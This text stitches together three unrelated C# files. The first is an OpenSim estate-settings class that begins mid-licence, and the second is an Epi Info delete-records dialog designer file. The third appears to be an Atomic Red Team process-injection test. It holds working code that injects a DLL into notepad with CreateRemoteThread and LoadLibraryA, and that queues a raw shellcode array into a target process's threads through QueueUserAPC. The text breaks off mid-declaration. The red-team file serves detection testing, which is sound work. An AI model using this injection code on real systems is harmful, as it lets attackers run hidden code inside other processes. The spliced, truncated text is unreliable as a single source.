DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Collections.Generic; using System.IO; using System.Reflection; using OpenMetaverse; namespace OpenSim.Framework { public class EstateSettings { // private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); public delegate void SaveDelegate(EstateSettings rs); public event SaveDelegate OnSave; // Only the client uses these // private uint m_EstateID = 0; public uint EstateID { get { return m_EstateID; } set { m_EstateID = value; } } private string m_EstateName = "My Estate"; public string EstateName { get { return m_EstateName; } set { m_EstateName = value; } } private bool m_AllowLandmark = true; public bool AllowLandmark { get { return m_AllowLandmark; } set { m_AllowLandmark = value; } } private bool m_AllowParcelChanges = true; public bool AllowParcelChanges { get { return m_AllowParcelChanges; } set { m_AllowParcelChanges = value; } } private bool m_AllowSetHome = true; public bool AllowSetHome { get { return m_AllowSetHome; } set { m_AllowSetHome = value; } } private uint m_ParentEstateID = 1; public uint ParentEstateID { get { return m_ParentEstateID; } set { m_ParentEstateID = value; } } private float m_BillableFactor = 0.0f; public float BillableFactor { get { return m_BillableFactor; } set { m_BillableFactor = value; } } private int m_PricePerMeter = 1; public int PricePerMeter { get { return m_PricePerMeter; } set { m_PricePerMeter = value; } } private int m_RedirectGridX = 0; public int RedirectGridX { get { return m_RedirectGridX; } set { m_RedirectGridX = value; } } private int m_RedirectGridY = 0; public int RedirectGridY { get { return m_RedirectGridY; } set { m_RedirectGridY = value; } } // Used by the sim // private bool m_UseGlobalTime = true; public bool UseGlobalTime { get { return m_UseGlobalTime; } set { m_UseGlobalTime = value; } } private bool m_FixedSun = false; public bool FixedSun { get { return m_FixedSun; } set { m_FixedSun = value; } } private double m_SunPosition = 0.0; public double SunPosition { get { return m_SunPosition; } set { m_SunPosition = value; } } private bool m_AllowVoice = true; public bool AllowVoice { get { return m_AllowVoice; } set { m_AllowVoice = value; } } private bool m_AllowDirectTeleport = true; public bool AllowDirectTeleport { get { return m_AllowDirectTeleport; } set { m_AllowDirectTeleport = value; } } private bool m_DenyAnonymous = false; public bool DenyAnonymous { get { return m_DenyAnonymous; } set { m_DenyAnonymous = value; } } private bool m_DenyIdentified = false; public bool DenyIdentified { get { return m_DenyIdentified; } set { m_DenyIdentified = value; } } private bool m_DenyTransacted = false; public bool DenyTransacted { get { return m_DenyTransacted; } set { m_DenyTransacted = value; } } private bool m_AbuseEmailToEstateOwner = false; public bool AbuseEmailToEstateOwner { get { return m_AbuseEmailToEstateOwner; } set { m_AbuseEmailToEstateOwner = value; } } private bool m_BlockDwell = false; public bool BlockDwell { get { return m_BlockDwell; } set { m_BlockDwell = value; } } private bool m_EstateSkipScripts = false; public bool EstateSkipScripts { get { return m_EstateSkipScripts; } set { m_EstateSkipScripts = value; } } private bool m_ResetHomeOnTeleport = false; public bool ResetHomeOnTeleport { get { return m_ResetHomeOnTeleport; } set { m_ResetHomeOnTeleport = value; } } private bool m_TaxFree = false; public bool TaxFree { get { return m_TaxFree; } set { m_TaxFree = value; } } private bool m_PublicAccess = true; public bool PublicAccess { get { return m_PublicAccess; } set { m_PublicAccess = value; } } private string m_AbuseEmail = String.Empty; public string AbuseEmail { get { return m_AbuseEmail; } set { m_AbuseEmail= value; } } private UUID m_EstateOwner = UUID.Zero; public UUID EstateOwner { get { return m_EstateOwner; } set { m_EstateOwner = value; } } private bool m_DenyMinors = false; public bool DenyMinors { get { return m_DenyMinors; } set { m_DenyMinors = value; } } // All those lists... // private List<UUID> l_EstateManagers = new List<UUID>(); public UUID[] EstateManagers { get { return l_EstateManagers.ToArray(); } set { l_EstateManagers = new List<UUID>(value); } } private List<EstateBan> l_EstateBans = new List<EstateBan>(); public EstateBan[] EstateBans { get { return l_EstateBans.ToArray(); } set { l_EstateBans = new List<EstateBan>(value); } } private List<UUID> l_EstateAccess = new List<UUID>(); public UUID[] EstateAccess { get { return l_EstateAccess.ToArray(); } set { l_EstateAccess = new List<UUID>(value); } } private List<UUID> l_EstateGroups = new List<UUID>(); public UUID[] EstateGroups { get { return l_EstateGroups.ToArray(); } set { l_EstateGroups = new List<UUID>(value); } } public EstateSettings() { } public void Save() { if (OnSave != null) OnSave(this); } public void AddEstateUser(UUID avatarID) { if (avatarID == UUID.Zero) return; if (!l_EstateAccess.Contains(avatarID)) l_EstateAccess.Add(avatarID); } public void RemoveEstateUser(UUID avatarID) { if (l_EstateAccess.Contains(avatarID)) l_EstateAccess.Remove(avatarID); } public void AddEstateGroup(UUID avatarID) { if (avatarID == UUID.Zero) return; if (!l_EstateGroups.Contains(avatarID)) l_EstateGroups.Add(avatarID); } public void RemoveEstateGroup(UUID avatarID) { if (l_EstateGroups.Contains(avatarID)) l_EstateGroups.Remove(avatarID); } public void AddEstateManager(UUID avatarID) { if (avatarID == UUID.Zero) return; if (!l_EstateManagers.Contains(avatarID)) l_EstateManagers.Add(avatarID); } public void RemoveEstateManager(UUID avatarID) { if (l_EstateManagers.Contains(avatarID)) l_EstateManagers.Remove(avatarID); } public bool IsEstateManagerOrOwner(UUID avatarID) { if (IsEstateOwner(avatarID)) return true; return l_EstateManagers.Contains(avatarID); } public bool IsEstateOwner(UUID avatarID) { if (avatarID == m_EstateOwner) return true; return false; } public bool IsBanned(UUID avatarID) { foreach (EstateBan ban in l_EstateBans) if (ban.BannedUserID == avatarID) return true; return false; } public void AddBan(EstateBan ban) { if (ban == null) return; if (!IsBanned(ban.BannedUserID)) l_EstateBans.Add(ban); } public void ClearBans() { l_EstateBans.Clear(); } public void RemoveBan(UUID avatarID) { foreach (EstateBan ban in new List<EstateBan>(l_EstateBans)) if (ban.BannedUserID == avatarID) l_EstateBans.Remove(ban); } public bool HasAccess(UUID user) { if (IsEstateManagerOrOwner(user)) return true; return l_EstateAccess.Contains(user); } public void SetFromFlags(ulong regionFlags) { ResetHomeOnTeleport = ((regionFlags & (ulong)OpenMetaverse.RegionFlags.ResetHomeOnTeleport) == (ulong)OpenMetaverse.RegionFlags.ResetHomeOnTeleport); BlockDwell = ((regionFlags & (ulong)OpenMetaverse.RegionFlags.BlockDwell) == (ulong)OpenMetaverse.RegionFlags.BlockDwell); AllowLandmark = ((regionFlags & (ulong)OpenMetaverse.RegionFlags.AllowLandmark) == (ulong)OpenMetaverse.RegionFlags.AllowLandmark); AllowParcelChanges = ((regionFlags & (ulong)OpenMetaverse.RegionFlags.AllowParcelChanges) == (ulong)OpenMetaverse.RegionFlags.AllowParcelChanges); AllowSetHome = ((regionFlags & (ulong)OpenMetaverse.RegionFlags.AllowSetHome) == (ulong)OpenMetaverse.RegionFlags.AllowSetHome); } public bool GroupAccess(UUID groupID) { return l_EstateGroups.Contains(groupID); } public Dictionary<string, object> ToMap() { Dictionary<string, object> map = new Dictionary<string, object>(); PropertyInfo[] properties = this.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance); foreach (PropertyInfo p in properties) map[p.Name] = p.GetValue(this, null); return map; } public EstateSettings(Dictionary<string, object> map) { PropertyInfo[] properties = this.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance); foreach (PropertyInfo p in properties) p.SetValue(this, map[p.Name], null); } } }
namespace Epi.Windows.Analysis.Dialogs { partial class DeleteRecordsDialog { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DeleteRecordsDialog)); this.lblAvailableVar = new System.Windows.Forms.Label(); this.txtRecAffected = new System.Windows.Forms.TextBox(); this.lblRecAffected = new System.Windows.Forms.Label(); this.btnMissing = new System.Windows.Forms.Button(); this.btnNo = new System.Windows.Forms.Button(); this.btnYes = new System.Windows.Forms.Button(); this.btnOr = new System.Windows.Forms.Button(); this.btnAnd = new System.Windows.Forms.Button(); this.btnClosedParen = new System.Windows.Forms.Button(); this.btnOpenParen = new System.Windows.Forms.Button(); this.btnQuote = new System.Windows.Forms.Button(); this.btnAmpersand = new System.Windows.Forms.Button(); this.btnGreaterThan = new System.Windows.Forms.Button(); this.btnLessThan = new System.Windows.Forms.Button(); this.btnAdd = new System.Windows.Forms.Button(); this.btnMinus = new System.Windows.Forms.Button(); this.btnMultiply = new System.Windows.Forms.Button(); this.btnDivide = new System.Windows.Forms.Button(); this.btnEqual = new System.Windows.Forms.Button(); this.cmbAvailableVar = new System.Windows.Forms.ComboBox(); this.gbxDelete = new System.Windows.Forms.GroupBox(); this.rdbMarkDel = new System.Windows.Forms.RadioButton(); this.rdbPermDeletion = new System.Windows.Forms.RadioButton(); this.cbkRunSilent = new System.Windows.Forms.CheckBox(); this.btnHelp = new System.Windows.Forms.Button(); this.btnClear = new System.Windows.Forms.Button(); this.btnFunctions = new System.Windows.Forms.Button(); this.btnCancel = new System.Windows.Forms.Button(); this.btnOK = new System.Windows.Forms.Button(); this.btnSaveOnly = new System.Windows.Forms.Button(); this.btnFunction = new System.Windows.Forms.Button(); this.gbxDelete.SuspendLayout(); this.SuspendLayout(); // // baseImageList // this.baseImageList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("baseImageList.ImageStream"))); this.baseImageList.Images.SetKeyName(0, ""); this.baseImageList.Images.SetKeyName(1, ""); this.baseImageList.Images.SetKeyName(2, ""); this.baseImageList.Images.SetKeyName(3, ""); this.baseImageList.Images.SetKeyName(4, ""); this.baseImageList.Images.SetKeyName(5, ""); this.baseImageList.Images.SetKeyName(6, ""); this.baseImageList.Images.SetKeyName(7, ""); this.baseImageList.Images.SetKeyName(8, ""); this.baseImageList.Images.SetKeyName(9, ""); this.baseImageList.Images.SetKeyName(10, ""); this.baseImageList.Images.SetKeyName(11, ""); this.baseImageList.Images.SetKeyName(12, ""); this.baseImageList.Images.SetKeyName(13, ""); this.baseImageList.Images.SetKeyName(14, ""); this.baseImageList.Images.SetKeyName(15, ""); this.baseImageList.Images.SetKeyName(16, ""); this.baseImageList.Images.SetKeyName(17, ""); this.baseImageList.Images.SetKeyName(18, ""); this.baseImageList.Images.SetKeyName(19, ""); this.baseImageList.Images.SetKeyName(20, ""); this.baseImageList.Images.SetKeyName(21, ""); this.baseImageList.Images.SetKeyName(22, ""); this.baseImageList.Images.SetKeyName(23, ""); this.baseImageList.Images.SetKeyName(24, ""); this.baseImageList.Images.SetKeyName(25, ""); this.baseImageList.Images.SetKeyName(26, ""); this.baseImageList.Images.SetKeyName(27, ""); this.baseImageList.Images.SetKeyName(28, ""); this.baseImageList.Images.SetKeyName(29, ""); this.baseImageList.Images.SetKeyName(30, ""); this.baseImageList.Images.SetKeyName(31, ""); this.baseImageList.Images.SetKeyName(32, ""); this.baseImageList.Images.SetKeyName(33, ""); this.baseImageList.Images.SetKeyName(34, ""); this.baseImageList.Images.SetKeyName(35, ""); this.baseImageList.Images.SetKeyName(36, ""); this.baseImageList.Images.SetKeyName(37, ""); this.baseImageList.Images.SetKeyName(38, ""); this.baseImageList.Images.SetKeyName(39, ""); this.baseImageList.Images.SetKeyName(40, ""); this.baseImageList.Images.SetKeyName(41, ""); this.baseImageList.Images.SetKeyName(42, ""); this.baseImageList.Images.SetKeyName(43, ""); this.baseImageList.Images.SetKeyName(44, ""); this.baseImageList.Images.SetKeyName(45, ""); this.baseImageList.Images.SetKeyName(46, ""); this.baseImageList.Images.SetKeyName(47, ""); this.baseImageList.Images.SetKeyName(48, ""); this.baseImageList.Images.SetKeyName(49, ""); this.baseImageList.Images.SetKeyName(50, ""); this.baseImageList.Images.SetKeyName(51, ""); this.baseImageList.Images.SetKeyName(52, ""); this.baseImageList.Images.SetKeyName(53, ""); this.baseImageList.Images.SetKeyName(54, ""); this.baseImageList.Images.SetKeyName(55, ""); this.baseImageList.Images.SetKeyName(56, ""); this.baseImageList.Images.SetKeyName(57, ""); this.baseImageList.Images.SetKeyName(58, ""); this.baseImageList.Images.SetKeyName(59, ""); this.baseImageList.Images.SetKeyName(60, ""); this.baseImageList.Images.SetKeyName(61, ""); this.baseImageList.Images.SetKeyName(62, ""); this.baseImageList.Images.SetKeyName(63, ""); this.baseImageList.Images.SetKeyName(64, ""); this.baseImageList.Images.SetKeyName(65, ""); this.baseImageList.Images.SetKeyName(66, ""); this.baseImageList.Images.SetKeyName(67, ""); this.baseImageList.Images.SetKeyName(68, ""); this.baseImageList.Images.SetKeyName(69, ""); this.baseImageList.Images.SetKeyName(70, ""); this.baseImageList.Images.SetKeyName(71, ""); this.baseImageList.Images.SetKeyName(72, ""); this.baseImageList.Images.SetKeyName(73, ""); this.baseImageList.Images.SetKeyName(74, ""); this.baseImageList.Images.SetKeyName(75, ""); // // lblAvailableVar // this.lblAvailableVar.FlatStyle = System.Windows.Forms.FlatStyle.System; resources.ApplyResources(this.lblAvailableVar, "lblAvailableVar"); this.lblAvailableVar.Name = "lblAvailableVar"; // // txtRecAffected // resources.ApplyResources(this.txtRecAffected, "txtRecAffected"); this.txtRecAffected.Name = "txtRecAffected"; this.txtRecAffected.TextChanged += new System.EventHandler(this.txtRecAffected_Leave); this.txtRecAffected.Leave += new System.EventHandler(this.txtRecAffected_Leave); // // lblRecAffected // resources.ApplyResources(this.lblRecAffected, "lblRecAffected"); this.lblRecAffected.FlatStyle = System.Windows.Forms.FlatStyle.System; this.lblRecAffected.Name = "lblRecAffected"; this.lblRecAffected.Click += new System.EventHandler(this.lblRecAffected_Click); // // btnMissing // resources.ApplyResources(this.btnMissing, "btnMissing"); this.btnMissing.Name = "btnMissing"; this.btnMissing.Tag = "(.)"; this.btnMissing.Click += new System.EventHandler(this.ClickHandler); // // btnNo // resources.ApplyResources(this.btnNo, "btnNo"); this.btnNo.Name = "btnNo"; this.btnNo.Tag = "(-)"; this.btnNo.Click += new System.EventHandler(this.ClickHandler); // // btnYes // resources.ApplyResources(this.btnYes, "btnYes"); this.btnYes.Name = "btnYes"; this.btnYes.Tag = "(+)"; this.btnYes.Click += new System.EventHandler(this.ClickHandler); // // btnOr // resources.ApplyResources(this.btnOr, "btnOr"); this.btnOr.Name = "btnOr"; this.btnOr.Tag = "OR"; this.btnOr.Click += new System.EventHandler(this.ClickHandler); // // btnAnd // resources.ApplyResources(this.btnAnd, "btnAnd"); this.btnAnd.Name = "btnAnd"; this.btnAnd.Tag = "AND"; this.btnAnd.Click += new System.EventHandler(this.ClickHandler); // // btnClosedParen // resources.ApplyResources(this.btnClosedParen, "btnClosedParen"); this.btnClosedParen.Name = "btnClosedParen"; this.btnClosedParen.Click += new System.EventHandler(this.ClickHandler); // // btnOpenParen // resources.ApplyResources(this.btnOpenParen, "btnOpenParen"); this.btnOpenParen.Name = "btnOpenParen"; this.btnOpenParen.Click += new System.EventHandler(this.ClickHandler); // // btnQuote // resources.ApplyResources(this.btnQuote, "btnQuote"); this.btnQuote.Name = "btnQuote"; this.btnQuote.Click += new System.EventHandler(this.ClickHandler); // // btnAmpersand // resources.ApplyResources(this.btnAmpersand, "btnAmpersand"); this.btnAmpersand.Name = "btnAmpersand"; this.btnAmpersand.Tag = " & "; this.btnAmpersand.Click += new System.EventHandler(this.ClickHandler); // // btnGreaterThan // resources.ApplyResources(this.btnGreaterThan, "btnGreaterThan"); this.btnGreaterThan.Name = "btnGreaterThan"; this.btnGreaterThan.Click += new System.EventHandler(this.ClickHandler); // // btnLessThan // resources.ApplyResources(this.btnLessThan, "btnLessThan"); this.btnLessThan.Name = "btnLessThan"; this.btnLessThan.Click += new System.EventHandler(this.ClickHandler); // // btnAdd // resources.ApplyResources(this.btnAdd, "btnAdd"); this.btnAdd.Name = "btnAdd"; this.btnAdd.Click += new System.EventHandler(this.ClickHandler); // // btnMinus // resources.ApplyResources(this.btnMinus, "btnMinus"); this.btnMinus.Name = "btnMinus"; this.btnMinus.Click += new System.EventHandler(this.ClickHandler); // // btnMultiply // resources.ApplyResources(this.btnMultiply, "btnMultiply"); this.btnMultiply.Name = "btnMultiply"; this.btnMultiply.Click += new System.EventHandler(this.ClickHandler); // // btnDivide // resources.ApplyResources(this.btnDivide, "btnDivide"); this.btnDivide.Name = "btnDivide"; this.btnDivide.Click += new System.EventHandler(this.ClickHandler); // // btnEqual // resources.ApplyResources(this.btnEqual, "btnEqual"); this.btnEqual.Name = "btnEqual"; this.btnEqual.Click += new System.EventHandler(this.ClickHandler); // // cmbAvailableVar // this.cmbAvailableVar.Items.AddRange(new object[] { resources.GetString("cmbAvailableVar.Items"), resources.GetString("cmbAvailableVar.Items1"), resources.GetString("cmbAvailableVar.Items2"), resources.GetString("cmbAvailableVar.Items3"), resources.GetString("cmbAvailableVar.Items4")}); resources.ApplyResources(this.cmbAvailableVar, "cmbAvailableVar"); this.cmbAvailableVar.Name = "cmbAvailableVar"; this.cmbAvailableVar.SelectedValueChanged += new System.EventHandler(this.txtRecAffected_Leave); // // gbxDelete // resources.ApplyResources(this.gbxDelete, "gbxDelete"); this.gbxDelete.Controls.Add(this.rdbMarkDel); this.gbxDelete.Controls.Add(this.rdbPermDeletion); this.gbxDelete.FlatStyle = System.Windows.Forms.FlatStyle.System; this.gbxDelete.Name = "gbxDelete"; this.gbxDelete.TabStop = false; this.gbxDelete.Enter += new System.EventHandler(this.gbxDelete_Enter); // // rdbMarkDel // resources.ApplyResources(this.rdbMarkDel, "rdbMarkDel"); this.rdbMarkDel.Checked = true; this.rdbMarkDel.Name = "rdbMarkDel"; this.rdbMarkDel.TabStop = true; // // rdbPermDeletion // resources.ApplyResources(this.rdbPermDeletion, "rdbPermDeletion"); this.rdbPermDeletion.Name = "rdbPermDeletion"; // // cbkRunSilent // resources.ApplyResources(this.cbkRunSilent, "cbkRunSilent"); this.cbkRunSilent.Name = "cbkRunSilent"; // // btnHelp // resources.ApplyResources(this.btnHelp, "btnHelp"); this.btnHelp.Name = "btnHelp"; this.btnHelp.Click += new System.EventHandler(this.btnHelp_Click); // // btnClear // resources.ApplyResources(this.btnClear, "btnClear"); this.btnClear.Name = "btnClear"; this.btnClear.Click += new System.EventHandler(this.btnClear_Click); // // btnFunctions // resources.ApplyResources(this.btnFunctions, "btnFunctions"); this.btnFunctions.Name = "btnFunctions"; this.btnFunctions.MouseDown += new System.Windows.Forms.MouseEventHandler(this.btnFunctions_MouseDown); // // btnCancel // resources.ApplyResources(this.btnCancel, "btnCancel"); this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel; this.btnCancel.Name = "btnCancel"; // // btnOK // resources.ApplyResources(this.btnOK, "btnOK"); this.btnOK.Name = "btnOK"; // // btnSaveOnly // resources.ApplyResources(this.btnSaveOnly, "btnSaveOnly"); this.btnSaveOnly.Name = "btnSaveOnly"; // // btnFunction // resources.ApplyResources(this.btnFunction, "btnFunction"); this.btnFunction.Name = "btnFunction"; this.btnFunction.Click += new System.EventHandler(this.btnFunction_Click); this.btnFunction.MouseDown += new System.Windows.Forms.MouseEventHandler(this.btnFunction_MouseDown); // // DeleteRecordsDialog // this.AcceptButton = this.btnOK; resources.ApplyResources(this, "$this"); this.CancelButton = this.btnCancel; this.Controls.Add(this.btnFunction); this.Controls.Add(this.btnSaveOnly); this.Controls.Add(this.btnHelp); this.Controls.Add(this.btnClear); this.Controls.Add(this.btnFunctions); this.Controls.Add(this.btnCancel); this.Controls.Add(this.btnOK); this.Controls.Add(this.cbkRunSilent); this.Controls.Add(this.gbxDelete); this.Controls.Add(this.lblAvailableVar); this.Controls.Add(this.txtRecAffected); this.Controls.Add(this.lblRecAffected); this.Controls.Add(this.btnMissing); this.Controls.Add(this.btnNo); this.Controls.Add(this.btnYes); this.Controls.Add(this.btnOr); this.Controls.Add(this.btnAnd); this.Controls.Add(this.btnClosedParen); this.Controls.Add(this.btnOpenParen); this.Controls.Add(this.btnQuote); this.Controls.Add(this.btnAmpersand); this.Controls.Add(this.btnGreaterThan); this.Controls.Add(this.btnLessThan); this.Controls.Add(this.btnAdd); this.Controls.Add(this.btnMinus); this.Controls.Add(this.btnMultiply); this.Controls.Add(this.btnDivide); this.Controls.Add(this.btnEqual); this.Controls.Add(this.cmbAvailableVar); this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "DeleteRecordsDialog"; this.ShowIcon = false; this.Load += new System.EventHandler(this.DeleteRecordsDialog_Load); this.gbxDelete.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Label lblAvailableVar; private System.Windows.Forms.Button btnMissing; private System.Windows.Forms.Button btnNo; private System.Windows.Forms.Button btnYes; private System.Windows.Forms.Button btnOr; private System.Windows.Forms.Button btnAnd; private System.Windows.Forms.Button btnClosedParen; private System.Windows.Forms.Button btnOpenParen; private System.Windows.Forms.Button btnQuote; private System.Windows.Forms.Button btnAmpersand; private System.Windows.Forms.Button btnGreaterThan; private System.Windows.Forms.Button btnLessThan; private System.Windows.Forms.Button btnAdd; private System.Windows.Forms.Button btnMinus; private System.Windows.Forms.Button btnMultiply; private System.Windows.Forms.Button btnDivide; private System.Windows.Forms.Button btnEqual; private System.Windows.Forms.ComboBox cmbAvailableVar; private System.Windows.Forms.GroupBox gbxDelete; private System.Windows.Forms.CheckBox cbkRunSilent; private System.Windows.Forms.TextBox txtRecAffected; private System.Windows.Forms.Label lblRecAffected; private System.Windows.Forms.RadioButton rdbMarkDel; private System.Windows.Forms.RadioButton rdbPermDeletion; private System.Windows.Forms.Button btnFunctions; private System.Windows.Forms.Button btnHelp; private System.Windows.Forms.Button btnClear; private System.Windows.Forms.Button btnCancel; private System.Windows.Forms.Button btnOK; private System.Windows.Forms.Button btnSaveOnly; private System.Windows.Forms.Button btnFunction; } }
//Atomic Process Injection Tests //xref: https://github.com/pwndizzle/c-sharp-memory-injection // https://github.com/peterferrie/win-exec-calc-shellcode // To run: // 1. Compile code - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:..\bin\T1055.exe T1055.cs // using System; using System.Reflection; using System.Diagnostics; using System.Runtime.InteropServices; using System.IO; using System.IO.Compression; using System.Collections.Generic; using System.ComponentModel; using System.Text; public class ProcessInject { [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); // privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; // used for memory allocation const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 4; public static int Inject() { // Get process id Console.WriteLine("Get process by name..."); System.Diagnostics.Process.Start("notepad"); Process targetProcess = Process.GetProcessesByName("notepad")[0]; // Get handle of the process - with required privileges IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Get address of LoadLibraryA and store in a pointer IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Path to dll that will be injected string dllName = @"C:\AtomicRedTeam\atomics\T1055.004\src\T1055.dll"; // Allocate memory for dll path and store pointer IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Write path of dll to memory UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, System.Text.Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Read contents of memory int bytesRead = 0; byte[] buffer = new byte[24]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer)); // Create a thread that will call LoadLibraryA with allocMemAddress as argument CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); return 0; } } public class ApcInjectionAnyProcess { public static void Inject() { byte[] shellcode = new byte[112] { 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 }; // Open process. "explorer" is a good target due to the large number of threads which will enter alertable state Process targetProcess = Process.GetProcessesByName("notepad")[0]; IntPtr procHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory within process and write shellcode IntPtr resultPtr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); IntPtr bytesWritten = IntPtr.Zero; bool resultBool = WriteProcessMemory(procHandle,resultPtr,shellcode,shellcode.Length, out bytesWritten); // Modify memory permissions on shellcode from XRW to XR uint oldProtect = 0; resultBool = VirtualProtectEx(procHandle, resultPtr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); // Iterate over threads and queueapc foreach (ProcessThread thread in targetProcess.Threads) { //Get handle to thread IntPtr tHandle = OpenThread(ThreadAccess.THREAD_HIJACK, false, (int)thread.Id); //Assign APC to thread to execute shellcode IntPtr ptr = QueueUserAPC(resultPtr, tHandle, IntPtr.Zero); } } // Memory permissions private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //private static UInt32 PAGE_READWRITE = 0x04; private static UInt32 PAGE_EXECUTE_READ = 0x20; // Process privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001), SUSPEND_RESUME = (0x0002), GET_CONTEXT = (0x0008), SET_CONTEXT = (0x0010), SET_INFORMATION = (0x0020), QUERY_INFORMATION = (0x0040), SET_THREAD_TOKEN = (0x0080), IMPERSONATE = (0x0100), DIRECT_IMPERSONATION = (0x0200), THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [DllImport("kernel32.dll",SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, Int32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true )] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern bool 